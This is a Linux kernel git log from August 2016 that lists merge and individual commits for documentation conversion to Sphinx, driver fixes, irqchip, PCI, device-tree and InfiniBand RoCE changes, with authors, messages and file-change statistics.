remote-tracking branch 'docs-next/docs-next' into devel/docs-next * docs-next/docs-next: (51 commits) docs-rst: add package adjustbox docs-rst: Fix an warning when in interactive mode docs-rst: Use better colors for note/warning/attention boxes docs-rst: conf.py: adjust the size of .. note:: tag docs-rst: add support for LaTeX output doc-rst: migrate ioctl CEC_DQEVENT to c-domain doc-rst: Revert "kernel-doc: fix handling of address_space tags" doc-rst: moved *duplicate* warnings to nitpicky mode doc-rst:c-domain: ref-name of a function declaration doc-rst: add boilerplate to customize c-domain docs: Sphinxify gdb-kernel-debugging.txt and move to dev-tools docs: sphinxify kmemcheck.txt and move to dev-tools docs: sphinxify kmemleak.txt and move it to dev-tools docs: sphinxify ubsan.txt and move it to dev-tools docs: sphinxify kasan.txt and move to dev-tools docs: sphinixfy gcov.txt and move to dev-tools docs: sphinxify kcov.txt and move to dev-tools docs: sphinxify sparse.txt and move to dev-tools docs: sphinxify coccinelle.txt and add it to dev-tools docs: create a new dev-tools directory ... commit 6f0b826da4a33e83501d6c1dc977afa0f5f7166f Author: Markus Elfring Date: Sat Aug 20 07:50:09 2016 +0200 mlx5/core: Use memdup_user() rather than duplicating its implementation * Reuse existing functionality from memdup_user() instead of keeping duplicate source code. This issue was detected by using the Coccinelle software. * Return directly if this copy operation failed. Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/cmd.c | 17 +++-------------- 1 file changed, 3 insertions(+), 14 deletions(-) commit b9a24bb76bf611a5268ceffe04219e6ad264559b Author: WANG Cong Date: Fri Aug 19 12:36:54 2016 -0700 net_sched: properly handle failure case of tcf_exts_init() After commit 22dc13c837c3 ("net_sched: convert tcf_exts from list to pointer array") we do dynamic allocation in tcf_exts_init(), therefore we need to handle the ENOMEM case properly. Cc: Jamal Hadi Salim Signed-off-by: Cong Wang Acked-by: Jamal Hadi Salim Acked-by: Jamal Hadi Salim Signed-off-by: David S. Miller include/net/pkt_cls.h | 6 ++-- net/sched/cls_basic.c | 12 +++++-- net/sched/cls_bpf.c | 27 +++++++++------ net/sched/cls_cgroup.c | 13 +++++-- net/sched/cls_flow.c | 26 ++++++++------ net/sched/cls_flower.c | 11 ++++-- net/sched/cls_fw.c | 18 +++++++--- net/sched/cls_route.c | 14 +++++--- net/sched/cls_rsvp.h | 17 +++++++--- net/sched/cls_tcindex.c | 90 +++++++++++++++++++++++++++++++++++-------------- net/sched/cls_u32.c | 21 ++++++++---- 11 files changed, 181 insertions(+), 74 deletions(-) commit cae750bae4e488c138eb436175201a60943eb3dc Author: Paul Burton Date: Fri Aug 19 18:11:19 2016 +0100 irqchip/mips-gic: Use for_each_set_bit to iterate over IRQs The MIPS GIC driver has previously iterated over bits set in a bitmap representing pending IRQs by calling find_first_bit, clearing that bit then calling find_first_bit again until all bits are clear. If multiple interrupts are pending then this is wasteful, as find_first_bit will have to loop over the whole bitmap from the start. Use the for_each_set_bit macro which performs exactly what we need here instead. It will use find_next_bit and thus only scan over the relevant part of the bitmap, and it makes the intent of the code more clear. Signed-off-by: Paul Burton Link: https://lkml.kernel.org/r/20160819171119.28121-1-paul.burton@imgtec.com Signed-off-by: Jason Cooper drivers/irqchip/irq-mips-gic.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 21118df66c198d6ebb23e6827e2e92ab1e148e78 Author: Wei Yongjun Date: Sat Aug 20 15:26:28 2016 +0000 irqchip/jcore-aic: Fix non static symbol warning Fixes the following sparse warning: drivers/irqchip/irq-jcore-aic.c:47:12: warning: symbol 'aic_irq_of_init' was not declared. Should it be static? Signed-off-by: Wei Yongjun Link: https://lkml.kernel.org/r/1471706788-27587-1-git-send-email-weiyj.lk@gmail.com Signed-off-by: Jason Cooper drivers/irqchip/irq-jcore-aic.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 04208a24b9d2f46f07f4400a4829d5372d0a3661 Author: Thomas Petazzoni Date: Fri Aug 5 16:55:20 2016 +0200 arm64: marvell: enable the Marvell PIC driver This commit makes sure the driver for the Marvell PIC interrupt controller (used on Marvell Armada 7K/8K) is enabled. Signed-off-by: Thomas Petazzoni Link: https://lkml.kernel.org/r/1470408921-447-4-git-send-email-thomas.petazzoni@free-electrons.com Signed-off-by: Jason Cooper arch/arm64/Kconfig.platforms | 1 + 1 file changed, 1 insertion(+) commit 4ebd50472899eb07d5dfc24f2015dce6fe3c5cb8 Author: Rafał Miłecki Date: Sun Aug 21 19:01:38 2016 +0200 ARM: BCM53573: Initial support for Broadcom BCM53573 SoCs BCM53573 series is a new family with embedded wireless. By marketing people it's sometimes called Northstar but it uses different CPU and has different architecture so we need a new symbol for it. Fortunately it shares some peripherals with other iProc based SoCs so we will be able to reuse some drivers/bindings. Signed-off-by: Rafał Miłecki Acked-by: Jon Mason Signed-off-by: Florian Fainelli MAINTAINERS | 7 +++++++ arch/arm/mach-bcm/Kconfig | 14 ++++++++++++++ 2 files changed, 21 insertions(+) commit a109893bd3e71912b376a731b27de8c45fded9b3 Author: Thomas Petazzoni Date: Fri Aug 5 16:55:19 2016 +0200 irqchip/mvebu-pic: New driver for Marvell Armada 7K/8K PIC The Marvell Armada 7K/8K integrates a secondary interrupt controller very originally named "PIC". It is connected to the main GIC via a PPI. Amongst other things, this PIC is used for the ARM PMU. This commit adds a simple irqchip driver for this interrupt controller. Since this interrupt controller is not needed early at boot time, we make the driver a proper platform driver rather than use the IRQCHIP_DECLARE() mechanism. Signed-off-by: Yehuda Yitschak Signed-off-by: Thomas Petazzoni Link: https://lkml.kernel.org/r/1470408921-447-3-git-send-email-thomas.petazzoni@free-electrons.com Signed-off-by: Jason Cooper drivers/irqchip/Kconfig | 3 + drivers/irqchip/Makefile | 1 + drivers/irqchip/irq-mvebu-pic.c | 197 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 201 insertions(+) commit 8d8f60c5e0cdc05bd9785faffd1cc034acdcd6d6 Merge: e349b1b ca7bfe2 Author: Jonathan Corbet Date: Mon Aug 22 15:40:38 2016 -0600 Merge branch 'doc/4.9' into docs-next commit ca7bfe2c8d9f3aee469a3a36110a95ebb511ee20 Author: Mauro Carvalho Chehab Date: Mon Aug 22 11:04:49 2016 -0300 docs-rst: add package adjustbox We need adjustbox to allow adjusting the size of tables that are bigger than the line width. There are quite a few of them at the media books. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/conf.py | 3 +++ 1 file changed, 3 insertions(+) commit ba1377fba7047a86c31981363cbd9e65b1ca2763 Author: Mauro Carvalho Chehab Date: Sun Aug 21 15:23:04 2016 -0300 docs-rst: Fix an warning when in interactive mode When XeLaTeX is in interactive mode, it complains that py@noticelength already exists. Rename it and declare it only once to avoid such messages. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/conf.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 41cff161fe99d1c6a773becc2250a1dc3ac035ff Author: Mauro Carvalho Chehab Date: Sun Aug 21 15:23:03 2016 -0300 docs-rst: Use better colors for note/warning/attention boxes Instead of painting the box with gray, let's use a colored box. IMHO, that makes easier to warn users about some issue pointed by the Sphinx. It also matches to what we do already with the HTML output. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/conf.py | 34 ++++++++++++++++++++++++---------- 1 file changed, 24 insertions(+), 10 deletions(-) commit aa4e37a3d13679dccf7945dd864375b698cf0df9 Author: Mauro Carvalho Chehab Date: Fri Aug 19 09:49:38 2016 -0300 docs-rst: conf.py: adjust the size of .. note:: tag While the current implementation works well when using as a paragraph, it doesn't work properly if inside a table. As we have quite a few such cases, fix the logic to take the column size into account. PS.: I took the logic there from the latest version of Sphinx.sty Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/conf.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit d565127d120e9b95ba98549c31eab9cec1cbbbc7 Author: Mauro Carvalho Chehab Date: Thu Aug 18 11:53:39 2016 -0300 docs-rst: add support for LaTeX output Sphinx supports LaTeX output. Sometimes, it is interesting to call it directly, instead of also generating a PDF. As it comes for free, add a target for it. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/DocBook/Makefile | 1 + Documentation/Makefile.sphinx | 7 ++++++- Makefile | 2 +- 3 files changed, 8 insertions(+), 2 deletions(-) commit 9cd3476c91708b4b814f17671597a2708ec195ed Author: Markus Heiser Date: Mon Aug 15 16:08:28 2016 +0200 doc-rst: migrate ioctl CEC_DQEVENT to c-domain This is only one example, demonstrating the benefits of the patch series. The CEC_DQEVENT ioctl is migrated to the sphinx c-domain and referred by ":name: CEC_DQEVENT". With this change the indirection using ":ref:`CEC_DQEVENT` is no longer needed, we can refer the ioctl directly with ":c:func:`CEC_DQEVENT`". As addition in the index, there is a entry "CEC_DQEVENT (C function)". Signed-off-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/media/uapi/cec/cec-func-open.rst | 2 +- Documentation/media/uapi/cec/cec-ioc-dqevent.rst | 5 +++-- 2 files changed, 4 insertions(+), 3 deletions(-) commit aa10a7826646c56eb4553df8fe81b3d23655c91a Author: Markus Heiser Date: Mon Aug 15 16:08:27 2016 +0200 doc-rst: Revert "kernel-doc: fix handling of address_space tags" This reverts commit a88b1672d4ddf9895eb53e6980926d5e960dea8e. From the origin comit log:: The RST cpp:function handler is very pedantic: it doesn't allow any macros like __user on it Since the kernel-doc parser does NOT make use of the cpp:domain, there is no need to change the kernel-doc parser eleminating the address_space tags. Signed-off-by: Markus Heiser Signed-off-by: Jonathan Corbet scripts/kernel-doc | 3 --- 1 file changed, 3 deletions(-) commit 556aa6d5d9616ccfc0099c40dc239157f50ee776 Author: Markus Heiser Date: Mon Aug 15 16:08:26 2016 +0200 doc-rst: moved *duplicate* warnings to nitpicky mode Moved the *duplicate C object description* warnings for function declarations in the nitpicky mode. In nitpick mode, you can suppress those warnings (e.g. ioctl) with:: nitpicky = True nitpick_ignore = [ ("c:func", "ioctl"), ] See Sphinx documentation for the config values for ``nitpick`` and ``nitpick_ignore`` [1]. With this change all the ".. cpp:function:: int ioctl(..)" descriptions (found in the media book) can be migrated to ".. c:function:: int ioctl(..)", without getting any warnings. E.g.:: .. cpp:function:: int ioctl( int fd, int request, struct cec_event *argp ) .. c:function:: int ioctl( int fd, int request, struct cec_event *argp ) The main effect, is that we get those *CPP-types* back into Sphinx's C- namespace and we need no longer to distinguish between c/cpp references, when we refer a function like the ioctl. [1] http://www.sphinx-doc.org/en/stable/config.html?highlight=nitpick#confval-nitpicky Signed-off-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/sphinx/cdomain.py | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) commit 2c645cd7c4a0d4b35da1e43ec3a5b55a64038157 Author: Markus Heiser Date: Mon Aug 15 16:08:25 2016 +0200 doc-rst:c-domain: ref-name of a function declaration Add option 'name' to the "c:function:" directive. With option 'name' the ref-name of a function can be modified. E.g.:: .. c:function:: int ioctl( int fd, int request ) :name: VIDIOC_LOG_STATUS The func-name (e.g. ioctl) remains in the output but the ref-name changed from ``ioctl`` to ``VIDIOC_LOG_STATUS``. The index entry for this function is also changed to ``VIDIOC_LOG_STATUS`` and the function can now referenced by:: :c:func:`VIDIOC_LOG_STATUS` Signed-off-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/kernel-documentation.rst | 29 +++++++++++++++++++++++++++++ Documentation/sphinx/cdomain.py | 31 +++++++++++++++++++++++++++++++ 2 files changed, 60 insertions(+) commit e8f5c617f26626ef4915ffa176f4ae02c9e08531 Author: Markus Heiser Date: Mon Aug 22 15:16:21 2016 -0600 doc-rst: add boilerplate to customize c-domain Add a sphinx-extension to customize the sphinx c-domain. No functional changes right yet, just the boilerplate code. Signed-off-by: Markus Heiser [ jc: coding-style tweak ] Signed-off-by: Jonathan Corbet Documentation/conf.py | 2 +- Documentation/sphinx/cdomain.py | 44 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 45 insertions(+), 1 deletion(-) commit 99ff4d3af80caa91eef5a4b709def6b8b362ce8c Author: Dmitry Torokhov Date: Fri Aug 19 10:03:59 2016 -0700 Input: jornada720_kbd - switch to using dev_dbg Switch to using dev_dbg instead of naked printk so that output is uniform with the other driver messages in the kernel. Signed-off-by: Dmitry Torokhov drivers/input/keyboard/jornada720_kbd.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 0f631d87d9a5e3f5f22908b102c8eaad944f390e Author: Russell King Date: Fri Aug 19 09:41:47 2016 -0700 Input: jornada720_kbd - get rid of mach/irqs.h include Switch the jornada720 keyboard driver to obtain its interrupt from the platform device, rather than via a hard-coded interrupt number obtained from the mach/irqs.h header. Signed-off-by: Russell King Signed-off-by: Dmitry Torokhov arch/arm/mach-sa1100/jornada720.c | 6 ++++++ drivers/input/keyboard/jornada720_kbd.c | 11 +++++++---- 2 files changed, 13 insertions(+), 4 deletions(-) commit a8a7bdc598ec0c355491bc1cac75f8f6b8a1740d Author: Russell King Date: Fri Aug 19 09:40:58 2016 -0700 Input: jornada720_kbd - switch to devm_* APIs Switch the jornada720_kbd driver to use the devm_* APIs. This is in preparation to removing the mach/irqs.h include from this driver. Signed-off-by: Russell King Signed-off-by: Dmitry Torokhov drivers/input/keyboard/jornada720_kbd.c | 43 ++++++--------------------------- 1 file changed, 8 insertions(+), 35 deletions(-) commit 3f5c5920e627b602db4e13b9010f76ed1d078c54 Author: Krzysztof Kozlowski Date: Fri Aug 19 10:15:46 2016 -0700 Input: max77693-haptic - change Krzysztof Kozlowski's email to kernel.org Change my email address to kernel.org instead of Samsung one for the purpose of any future contact. The copyrights remain untouched and are attributed to Samsung. Signed-off-by: Krzysztof Kozlowski Signed-off-by: Dmitry Torokhov drivers/input/misc/max77693-haptic.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e9bf4529d3db9e6291ebfe41be08e6bb76bdf49d Author: LABBE Corentin Date: Fri Aug 19 10:18:32 2016 -0700 Input: pixcir_i2c_ts - remove a useless blank line This patch fix the following checkpatch report: Blank lines aren't necessary after an open brace Signed-off-by: LABBE Corentin Signed-off-by: Dmitry Torokhov drivers/input/touchscreen/pixcir_i2c_ts.c | 1 - 1 file changed, 1 deletion(-) commit 5ac82f081ac08c5ca551aa6cfc5d81ff26efdf4e Author: LABBE Corentin Date: Fri Aug 19 10:17:18 2016 -0700 Input: pixcir_i2c_ts - remove text about writing to Free Software Foundation Checkpatch complains about the text suggesting writing to Free Software Foundation for GPLv2 license copy. This patch remove that text. Signed-off-by: LABBE Corentin Signed-off-by: Dmitry Torokhov drivers/input/touchscreen/pixcir_i2c_ts.c | 4 ---- 1 file changed, 4 deletions(-) commit 8ffef3cc696e9eff67ec79be349407895bffdfc1 Author: LABBE Corentin Date: Fri Aug 19 10:16:51 2016 -0700 Input: pixcir_i2c_ts - simplify code with of_device_get_match_data The usage of of_device_get_match_data reduce the code size a bit. Furthermore, it is better to use a standard function for getting the match data. Signed-off-by: LABBE Corentin Signed-off-by: Dmitry Torokhov drivers/input/touchscreen/pixcir_i2c_ts.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) commit d18716542d137beafef2859bdf90d4e0c9a25523 Author: Hans de Goede Date: Thu Aug 4 08:21:19 2016 -0700 Input: remove duplicate ft6236 driver The new(ish) ft6236 simply re-implements the M09 protocol of the (much) older edt-ft5x06.c driver. This commit removes this duplicate driver and adds the i2c ids and dt compatible string to the edt-ft5x06.c driver to keep compatibility. This commit also adds the standard touchscreen properties as optional properties to the edt,ft5x06 binding, these were documented in the focaltech,ft6236 bindingi, but were missing from the edt,ft5x06 doc. Signed-off-by: Hans de Goede Acked-by: Rob Herring Signed-off-by: Dmitry Torokhov .../bindings/input/touchscreen/edt-ft5x06.txt | 8 + .../input/touchscreen/focaltech-ft6236.txt | 35 --- drivers/input/touchscreen/Kconfig | 13 - drivers/input/touchscreen/Makefile | 1 - drivers/input/touchscreen/edt-ft5x06.c | 8 + drivers/input/touchscreen/ft6236.c | 326 --------------------- 6 files changed, 16 insertions(+), 375 deletions(-) commit 7ac5d7b1a1254ceb4be19ba93ef7a6ee4e7ac382 Author: Mikko Rapeli Date: Mon Aug 22 20:32:22 2016 +0200 HSI: hsi_char.h: use __u32 from linux/types.h Fixes userspace compiler errors like: linux/hsi/hsi_char.h:51:2: error: unknown type name ‘uint32_t’ Signed-off-by: Mikko Rapeli Signed-off-by: Sebastian Reichel include/uapi/linux/hsi/hsi_char.h | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) commit dcec3c8c9aea9e779c59f420465381c0f3322913 Author: Jonathan Corbet Date: Sat Aug 20 13:17:32 2016 -0600 docs: split up the driver book We don't need to keep it as a single large file anymore; split it up so that it is easier to manage and the individual sections can be read directly as plain files. Signed-off-by: Jonathan Corbet Documentation/driver-api/basics.rst | 120 +++++ Documentation/driver-api/drivers.rst | 654 ------------------------- Documentation/driver-api/frame-buffer.rst | 62 +++ Documentation/driver-api/index.rst | 24 + Documentation/driver-api/infrastructure.rst | 169 +++++++ Documentation/driver-api/input.rst | 51 ++ Documentation/driver-api/message-based.rst | 30 ++ Documentation/driver-api/miscellaneous.rst | 50 ++ Documentation/driver-api/serial-interfaces.rst | 115 +++++ Documentation/driver-api/sound.rst | 54 ++ Documentation/index.rst | 2 +- 11 files changed, 676 insertions(+), 655 deletions(-) commit 1d9e3a07cb80ca7c8f4efcfcc6c4ca10790d9645 Author: Christian Gromm Date: Mon Aug 22 16:46:24 2016 +0200 staging: most: aim-cdev: destroy ida struct in case of exception This patch is needed to clean up the initialized ida structure in case the function exits with an exception. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-cdev/cdev.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 88b090e3c020bfeac13d5c52984a03775808cb67 Author: James Simmons Date: Mon Aug 22 12:57:43 2016 -0400 staging: lustre: mdc: fix NULL pointer dereference in mdc_adjust_dirpages The function mdc_adjust_dirpages is only called on platforms which don't have pages 4K in size which is why kbuild only reported this for platforms like the Alpha. The problem was a typo in ordering of variables in the beginning of a while loop. We were accessing the dp pointer before it was kmapped. Signed-off-by: James Simmons Reviewed-by: Andreas Dilger Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/mdc/mdc_request.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 47cb398dd75a9faa89d0617b55d4cf537935b731 Author: Jonathan Corbet Date: Sat Aug 20 13:02:50 2016 -0600 Docs: sphinxify device-drivers.tmpl Perform a basic sphinx conversion of the device-drivers docbook and move it to its own directory. Signed-off-by: Jonathan Corbet Documentation/DocBook/Makefile | 2 +- Documentation/DocBook/device-drivers.tmpl | 521 ------------------------ Documentation/driver-api/drivers.rst | 654 ++++++++++++++++++++++++++++++ Documentation/index.rst | 1 + 4 files changed, 656 insertions(+), 522 deletions(-) commit 8b22335afe75bccbef65fac6d4714dd1f5ebd1bd Author: Wei Yongjun Date: Thu Jul 28 16:17:14 2016 +0000 PCI: aardvark: Remove redundant dev_err call in advk_pcie_probe() devm_ioremap_resource() emits an error message already, so remove the dev_err() call in advk_pcie_probe() to avoid redundant error messages. Signed-off-by: Wei Yongjun Signed-off-by: Bjorn Helgaas Reviewed-by: Thomas Petazzoni drivers/pci/host/pci-aardvark.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 4f1cb01a7892582d18483986fbc268cdef1b1dee Author: Wei Yongjun Date: Thu Jul 28 16:16:48 2016 +0000 PCI: hv: Use list_move_tail() instead of list_del() + list_add_tail() Use list_move_tail() instead of list_del() + list_add_tail(). No functional change intended Signed-off-by: Wei Yongjun Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-hyperv.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 8116acce5a7aba90d97170d04d4b497afa1b74cf Author: Wei Yongjun Date: Thu Jul 28 16:16:18 2016 +0000 PCI: keystone: Propagate request_irq() failure Previously, if request_irq() failed, ks_add_pcie_port() always returned zero (success). Return the request_irq() failure result instead. [bhelgaas: changelog] Signed-off-by: Wei Yongjun Signed-off-by: Bjorn Helgaas Acked-By: Murali Karicheri drivers/pci/host/pci-keystone.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 51afa3cc2ded60884aed3aaac8d8c416e3cf6324 Author: Bjorn Helgaas Date: Mon Aug 22 14:16:38 2016 -0500 PCI: rcar: Consolidate register space lookup and ioremap Move the devm_ioremap_resource() of R-Car register space next to the of_address_to_resource() that extracts the resource. No functional change intended. Signed-off-by: Bjorn Helgaas Reviewed-by: Geert Uytterhoeven drivers/pci/host/pcie-rcar.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit f0b631edb8a1f66e6171150d54c1533accb10b04 Author: Hans de Goede Date: Thu Aug 18 20:02:17 2016 +0200 ARM: dts: sun6i: Add new dts file for tablets using the inet-q972 PCB Add a dts file for tablets using the generic inet-q972 PCB. Tablets with this PCB feature a mini-hdmi output, micro-usb usb-host, micro-usb usb-otg, 3.5mm headphone jack, a micro sd slot, (mini) power-barrel and an usb wifi module. This has been tested on a 9.7" 1024x768 qware qw tb9718-qhd tablet. Signed-off-by: Hans de Goede Acked-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/sun6i-a31s-inet-q972.dts | 100 +++++++++++++++++++++++++++++ 2 files changed, 101 insertions(+) commit b32aea85144ff046b2f8f40c48113d1a06086239 Author: Hans de Goede Date: Thu Aug 18 20:02:16 2016 +0200 ARM: dts: sun6i: Add sun6i-reference-design-tablet.dtsi Just like with a13/a23/a33 most a31 tablets are derived from the same reference design. Add a .dtsi file with all the common bits to avoid endless copy and pasting of these. The sun6i-reference-design-tablet.dtsi this commit adds is a copy of sun6i-a31s-colorfly-e708-q1.dts with a few tablet specific bits removed / left in sun6i-a31s-colorfly-e708-q1.dts. Signed-off-by: Hans de Goede Acked-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun6i-a31s-colorfly-e708-q1.dts | 147 +--------------- .../boot/dts/sun6i-reference-design-tablet.dtsi | 193 +++++++++++++++++++++ 2 files changed, 194 insertions(+), 146 deletions(-) commit a343dfdd9612855395cb6a65a8907dd7256ef80e Author: Hans de Goede Date: Thu Aug 18 20:02:15 2016 +0200 ARM: dts: sun6i: colorfly-e708-q1: Remove unused mma8452_int_e708_q1 node The presence of the mma8452_int_e708_q1 node is a copy and paste error, remove it. Signed-off-by: Hans de Goede Acked-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun6i-a31s-colorfly-e708-q1.dts | 7 ------- 1 file changed, 7 deletions(-) commit 162669876bbecf6fb4d5b69f2cc79635565c6c3f Author: Chen-Yu Tsai Date: Fri Aug 19 15:42:26 2016 +0800 ARM: dts: sun9i: Switch to the AC100 RTC clock outputs for osc32k The 32.768 kHz clock inside the A80 SoC is fed from an external source, typically the AC100 RTC module. Make the osc32k placeholder a fixed-factor clock so board dts files can specify its source. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun9i-a80-cubieboard4.dts | 5 +++++ arch/arm/boot/dts/sun9i-a80-optimus.dts | 5 +++++ arch/arm/boot/dts/sun9i-a80.dtsi | 11 +++++------ 3 files changed, 15 insertions(+), 6 deletions(-) commit 38f151d410056149c0a539bbaa2873db4d3fc9a4 Author: Chen-Yu Tsai Date: Fri Aug 19 15:42:25 2016 +0800 ARM: dts: sun9i: cubieboard4: Add device node for AC100 Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun9i-a80-cubieboard4.dts | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit 9caf39bfb98a59848ffe05f19a0bbab65220f7e5 Author: Chen-Yu Tsai Date: Fri Aug 19 15:42:24 2016 +0800 ARM: dts: sun9i: a80-optimus: Add device node for AC100 Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun9i-a80-optimus.dts | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit e8552107ae5845dd1d281cddca026ef0e4d30c80 Author: Hans de Goede Date: Mon Aug 8 21:43:13 2016 +0200 ARM: dts: sun8i: reference-design-tablet: Add gsl1680 touchscreen node Almost all sun8i tablets use a gsl1680 touchscreen controller, so add a node describing it to reference-design-tablet.dtsi. Almost all, but not all, so mark it as disabled by default (dts files will also need to supply a firmware-name and resolution info). Signed-off-by: Hans de Goede Acked-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard .../boot/dts/sun8i-reference-design-tablet.dtsi | 28 ++++++++++++++++++++++ 1 file changed, 28 insertions(+) commit 835dbe8ffafa45907495811cb2f3a57b2cccfa27 Author: Hans de Goede Date: Mon Aug 8 21:43:12 2016 +0200 ARM: dts: sun8i: Add dt node for rtl8703as wifi chip on ga10h The ga10h tablet has a rtl8703as wifi chip, add a dt node describing it. This enables usage of wifi on this tablet (together with the out of tree rtl8732bs driver). Signed-off-by: Hans de Goede Acked-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-a33-ga10h-v1.1.dts | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit 9d3ee5754335416bde2e75e93048294b8423e7c6 Author: Hans de Goede Date: Mon Aug 8 21:43:11 2016 +0200 ARM: dts: sun8i: Use sun8i-reference-design-tablet for gt90h dts This results in quite a nice cleanup for this dts file. As an added bonus this also enables full otg support. I've tested that this works as advertised. Signed-off-by: Hans de Goede Acked-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-a23-gt90h-v4.dts | 192 +------------------------------ 1 file changed, 1 insertion(+), 191 deletions(-) commit dc36787fedf0248c752cf1c53092104d54489617 Author: Hans de Goede Date: Sun Aug 7 16:16:44 2016 +0200 ARM: dts: sun8i: Add dts file for the Orange Pi Lite SBC The Orange Pi Lite SBC is a small H3 based SBC, with 512MB RAM, micro-sd slot, HDMI out, 2 USB-A connectors, 1 micro-USB connector, sdio attached rtl8189ftv wifi and an ir receiver. Signed-off-by: Hans de Goede Acked-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/sun8i-h3-orangepi-lite.dts | 178 +++++++++++++++++++++++++++ 2 files changed, 179 insertions(+) commit 4b09a6faa83705864ff53f3c287800b7244f5a6a Author: Stefan Mavrodiev Date: Mon Aug 15 10:36:33 2016 +0300 ARM: dts: sun8i: Add dts file for Olimex A33-OLinuXino A33-OLinuXino is A33 development board designed by Olimex LTD. It has AXP223 PMU, 1GB DRAM, a micro SD card, one USB-OTG connector, headphone and mic jacks, connector for LiPo battery and optional 4GB NAND Flash. It has two 40-pin headers. One for LCD panel, and one for additional modules. Also there is CSI/DSI connector. Signed-off-by: Stefan Mavrodiev Signed-off-by: Maxime Ripard arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/sun8i-a33-olinuxino.dts | 226 ++++++++++++++++++++++++++++++ 2 files changed, 227 insertions(+) commit 204f69ba64122b1ee6732bab8cfd71fe2d68c188 Author: Wei Yongjun Date: Sat Aug 6 01:01:24 2016 +0000 IB/hns: Fix return value check in hns_roce_get_cfg() In case of error, the function devm_ioremap_resource() returns ERR_PTR() and never returns NULL. The NULL test in the return value check should be replaced with IS_ERR(). Signed-off-by: Wei Yongjun Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_main.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 66a9bae67b98cf1df384bd86bb5ffa07ade1937a Author: oulijun Date: Thu Jul 21 19:06:57 2016 +0800 MAINTAINERS: Add maintainers for Hisilicon RoCE driver This patch added maintainers for RoCE driver. Signed-off-by: Wei Hu Signed-off-by: Lijun Ou Signed-off-by: Doug Ledford MAINTAINERS | 8 ++++++++ 1 file changed, 8 insertions(+) commit 8793f779cf6ecc83d4c3345ac821a2d0c95713ad Author: oulijun Date: Thu Jul 21 19:06:56 2016 +0800 IB/hns: Kconfig and Makefile for RoCE module This patch added Kconfig and Makefile for building RoCE module. Signed-off-by: Wei Hu Signed-off-by: Nenglong Zhao Signed-off-by: Lijun Ou Signed-off-by: Doug Ledford drivers/infiniband/Kconfig | 1 + drivers/infiniband/hw/Makefile | 1 + drivers/infiniband/hw/hns/Kconfig | 10 ++++++++++ drivers/infiniband/hw/hns/Makefile | 8 ++++++++ 4 files changed, 20 insertions(+) commit 9a4435375cd151e07c0c38fa601b00115986091b Author: oulijun Date: Thu Jul 21 19:06:38 2016 +0800 IB/hns: Add driver files for hns RoCE driver These are the various new source code files for the Hisilicon RoCE driver for ARM architecture. Signed-off-by: Wei Hu Signed-off-by: Nenglong Zhao Signed-off-by: Lijun Ou Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_ah.c | 128 ++ drivers/infiniband/hw/hns/hns_roce_alloc.c | 257 +++ drivers/infiniband/hw/hns/hns_roce_cmd.c | 368 ++++ drivers/infiniband/hw/hns/hns_roce_cmd.h | 80 + drivers/infiniband/hw/hns/hns_roce_common.h | 325 ++++ drivers/infiniband/hw/hns/hns_roce_cq.c | 446 +++++ drivers/infiniband/hw/hns/hns_roce_device.h | 734 +++++++ drivers/infiniband/hw/hns/hns_roce_eq.c | 762 ++++++++ drivers/infiniband/hw/hns/hns_roce_eq.h | 130 ++ drivers/infiniband/hw/hns/hns_roce_hem.c | 476 +++++ drivers/infiniband/hw/hns/hns_roce_hem.h | 131 ++ 